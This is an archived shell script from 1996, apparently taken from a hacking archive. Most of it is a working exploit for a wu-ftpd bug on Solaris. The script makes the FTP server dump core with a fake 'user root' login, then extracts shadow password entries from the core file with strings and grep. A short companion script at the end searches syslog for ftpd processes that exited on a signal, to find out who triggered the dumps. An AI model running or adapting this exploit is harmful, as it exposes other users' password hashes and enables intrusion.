home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / wuftpd-sdump.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  1998-07-17  |  1KB  |  70 lines

  1. #!/bin/sh
  2. #
  3. # exploit a bug in wu-ftpd to assemble & view the shadow passwd file
  4. #
  5. # Tested under Solaris 2.5
  6. #
  7. # James Abendschan  jwa@nbs.nau.edu  16 Oct 1996
  8. #
  9.  
  10. USER=`whoami`
  11. /usr/ucb/echo -n "Enter your password for localhost: "
  12. read PASS
  13.  
  14. WDIR=/tmp/wu-ftpd-sploit.$USER
  15. rm -rf $WDIR
  16. mkdir $WDIR
  17. TMP=$WDIR/strings.tmp
  18.  
  19. ftp -n localhost << _EOF_
  20. quote user $USER
  21. quote pass $PASS
  22. cd $WDIR
  23. user root woot
  24. quote pasv
  25. _EOF_
  26.  
  27. if [ ! -f $WDIR/core ]
  28. then
  29.  echo "Sorry, your ftpd didn't dump core."
  30.  exit 1
  31. fi
  32.  
  33. strings $WDIR/core > $WDIR/tmp
  34.  
  35. # try to assemble as much of the shadow passwd file as possible
  36. # (easier in perl)
  37.  
  38. for user in `cat /etc/passwd | awk -F":" '{print $1}'`
  39. do 
  40.  line=`grep \^${user}: $WDIR/tmp`
  41.  echo $line
  42. done 
  43.  
  44. rm -f $TMP
  45.  
  46.  
  47.  
  48.  
  49. ----------------------------------------------------------------------------
  50.  
  51.     
  52.  
  53. # Here is another script to -
  54. # try to identify who's been core dumping ftpd
  55. #
  56. # requires ftpd to be wrapped (obviously)
  57. #
  58. # jwa 24 Oct 1996
  59. #
  60.  
  61. LOG=/var/adm/syslog
  62.  
  63. for pid in `grep "exiting on signal" $LOG | awk -F"[" '{print $2}' | awk -F"]" '
  64. {print $1}'`
  65. do
  66.  grep $pid $LOG | grep ftpd
  67.  echo " "
  68. done
  69.  
  70.